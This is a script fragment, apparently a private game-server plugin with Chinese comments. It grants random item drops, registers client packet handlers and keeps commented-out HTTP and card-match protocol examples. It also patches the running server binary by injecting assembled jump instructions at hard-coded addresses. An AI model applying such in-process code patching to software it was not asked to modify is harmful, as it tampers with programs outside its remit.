print("副本等级: " + DgnLevel);
|
|
|
|
//深渊标识
|
|
local HellDiff = BattleFieldObj.GetHellDifficulty();
|
|
print("深渊标识: " + HellDiff);
|
|
|
|
|
|
for (local i = 0; i< 4; i++) {
|
|
local SUser = PartyObj.GetUser(i);
|
|
if (SUser) {
|
|
SUser.DropItem(MathClass.Rand(3033, 3042), Xpos, Ypos);
|
|
// print("玩家名称: " + SUser.GetCharacName());
|
|
}
|
|
}
|
|
return null;
|
|
});
|
|
|
|
|
|
|
|
//修改独立掉落原逻辑为不掉落
|
|
local HexCode = Haker.AsmGenerateMcd(
|
|
"mov eax, 0x830CD5D",
|
|
"jmp eax");
|
|
Haker.InsertCode("0x830CCE2", HexCode);
|
|
|
|
|
|
// local HexCode = Haker.AsmGenerateMcd(
|
|
// "mov eax,0x666",
|
|
// "mov ebx,0x86B1B98",
|
|
// "jmp ebx");
|
|
|
|
// Haker.InsertCode("0x86B1B93", HexCode);
|
|
|
|
// local RandNum = Sq_CallFunc(S_Ptr("0x086B1B87"), "int", ["int"], -6);
|
|
// print("返回的随机值: " + RandNum);
|
|
|
|
|
|
|
|
|
|
|
|
//公有方法 获取本机IP
|
|
// local MyIp = Http.GetMyIp();
|
|
// print(MyIp);
|
|
|
|
//私有方法 发送Get请求
|
|
// local SO = Http("www.baidu.com");
|
|
// local BaiduBody = SO.Get("/");
|
|
// print(BaiduBody);
|
|
|
|
//私有方法 发送带参数的Post请求
|
|
// local SO = Http("192.168.200.189","1311");
|
|
// local Res = SO.Post("/",{username = "lenheart", password = "123456"});
|
|
|
|
// // 创建一个Http Server
|
|
// local HS = HttpServer("0.0.0.0","41817");
|
|
// HS.Listen(function (SocketObject,Msg)
|
|
// {
|
|
// // print("收到请求内容: " + Msg);
|
|
|
|
// //回复字符串
|
|
// //SocketObject.Write("hello world");
|
|
// //回复Json 直接Write Table就是Json
|
|
// SocketObject.Write({
|
|
// user = "lenheart",
|
|
// msg = "hello world",
|
|
// time = clock()
|
|
// });
|
|
// });
|
|
|
|
|
|
|
|
//初始化PVF 可传路径 可不传
|
|
// Script();
|
|
|
|
//读取装备List 读取完的内容在这个Buffer里
|
|
// local Buffer = ScriptData.GetFileData("equipment/equipment.lst", function(DataTable, Data) {
|
|
// while (!Data.Eof()) {
|
|
// local Key = Data.Get();
|
|
// //注册装备列表 路径写入 数据未读取
|
|
// DataTable.rawset(Key, {
|
|
// Path = Data.Get(),
|
|
// Data = null
|
|
// });
|
|
// }
|
|
// print("加载装备List完成, 共" + DataTable.len() + "个");
|
|
// });
|
|
|
|
|
|
// 读取某一件装备的数据
|
|
// local Buffer = ScriptData.GetFileData("equipment/character/swordman/weapon/hsword/lgcy_agitto_nitras.equ", function(DataTable, Data) {
|
|
// while (!Data.Eof()) {
|
|
// local Buf = Data.Get();
|
|
// print(Buf);
|
|
// }
|
|
// });
|
|
|
|
// Script();
|
|
// local Tim = clock();
|
|
// local Buffer = ScriptData.GetFileData("etc/independent_drop.etc", function(DataTable, Data) {
|
|
// while (!Data.Eof()) {
|
|
// local Buf = Data.Get();
|
|
// }
|
|
// });
|
|
|
|
// print("耗时: " + (clock() - Tim));
|
|
|
|
|
|
// Haker.InsertCode("0x86B1B93", [0xB8, 0x06, 0x00, 0x00, 0x00, 0xBB, 0x98, 0x1B, 0x6B, 0x08, 0xFF, 0xE3]);
|
|
|
|
// local RandNum = Sq_CallFunc(S_Ptr("0x086B1B87"), "int", ["int"], -6);
|
|
// print("返回的随机值: " + RandNum);
|
|
|
|
|
|
|
|
|
|
}, 1);
|
|
|
|
|
|
|
|
ClientSocketPackFuncMap.rawset(21091001, function (SUser, Jso)
|
|
{
|
|
printT(Jso);
|
|
if(Jso.type == 0){
|
|
saveItemToInven(SUser);
|
|
}
|
|
});
|
|
|
|
|
|
|
|
Register_DPS_Pack(1, function(SUser, Pack) {
|
|
printT(Pack);
|
|
SUser.Send_DPS_Pack(1, {
|
|
ttt = 1,
|
|
})
|
|
});
|
|
|
|
|
|
|
|
// //收到查询我的战绩包 查询我的战绩 注意这个包不止我请求的时候要发 一局游戏结束了以后 你要主动刷这个包
|
|
// ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) {
|
|
// local evv = {
|
|
// op = 20092098,
|
|
// WinCount = 1, //胜利场次
|
|
// Ranking = 2, //排名
|
|
// OnlineRanking = 56, //跨服排名
|
|
// TicketCount = 3, //入场卷数量
|
|
// }
|
|
// SUser.SendJso(evv);
|
|
// });
|
|
|
|
// //收到开始匹配包 服务端进入匹配状态 告诉客户端开始匹配了
|
|
// ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) {
|
|
// local evv = {
|
|
// op = 20092002,
|
|
// }
|
|
// SUser.SendJso(evv);
|
|
|
|
// //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配 然后开局了给客户端发消息
|
|
// Timer.SetTimeOut(function() {
|
|
// //角色类 名字 职业 穿戴装备
|
|
// local Charac = {
|
|
// Name = "测试角色",
|
|
// Job = 8,
|
|
// Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192],
|
|
// CardList = [0, 1, 2, 3, 1]
|
|
// }
|
|
|
|
// //这里发送角色类List 0号位是自己 然后顺时针坐玩家 发送主牌ID
|
|
// local evv = {
|
|
// op = 20092006,
|
|
// CharacList = [Charac, Charac, Charac, Charac],
|
|
// MainCard = 2
|
|
// }
|
|
|
|
// SUser.SendJso(evv);
|
|
// }, 500);
|
|
// });
|
|
// //收到取消匹配包 服务端进入匹配状态 告诉客户端取消匹配了
|
|
// ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) {
|
|
// local evv = {
|
|
// op = 20092004,
|
|
// }
|
|
// SUser.SendJso(evv);
|
|
// });
|
|
// //收到出牌包
|
|
// ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) {
|
|
// //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List
|
|
// local CardList = Jso.CardList;
|
|
// //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌
|
|
// //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功 这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId 其他人 要发他们那里对应的ID
|
|
// local evv = {
|
|
// op = 20092008,
|
|
// CharacId = 1,
|
|
// CardList = CardList
|
|
// };
|
|
// SUser.SendJso(evv);
|
|
// });
|
|
|
|
// //主动下发 回合信息包 20092010 要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的
|
|
// local evv = {
|
|
// //谁的回合
|
|
// RoundCharac = 0;
|
|
// //剩余多少时间 (这个应该是在你的配置里)
|
|
// RoundTime = 30;
|
|
// };
|
|
|
|
// //主动下发 质疑包 20092012 要告诉客户端的玩家 谁要质疑 注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息
|
|
// local evv = {
|
|
// //质疑玩家
|
|
// QuestionCharac = 0;
|
|
// //质疑牌List (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个)
|
|
// QuestionCardList = [0, 1, 2, 3, 1];
|
|
// };
|
|
|
|
// //主动下发 刷新玩家信息包 20092014 要告诉客户端的玩家 谁还剩多少血 0就是没血了 -1就是这个地方是没有玩家的 1就是还剩1滴血
|
|
// local evv = {
|
|
// Charac = [0, -1, 1, -1]
|
|
// };
|
|
|
|
// //主动下发 结算包 20092018 一局游戏结束了 发包给我
|
|
// local evv = {
|
|
// //0 是你输了 1是你赢了
|
|
// Win = 0
|
|
// };
|
|
|
|
// //主动下发 牌桌显示公告 20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的
|
|
// local evv = {
|
|
// //消息
|
|
// Msg = "公告消息"
|
|
// };
|
|
|
|
// //收到聊天信息包
|
|
// ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) {
|
|
// //这里是左下角聊天框打字发送上来的信息
|
|
// local MsgBuffer = Jso.Msg;
|
|
// //转发给所有玩家 包括他自己
|
|
// local evv = {
|
|
// op = 20092100,
|
|
// Msg = MsgBuffer,
|
|
// };
|
|
// SUser.SendJso(evv);
|
|
// }); |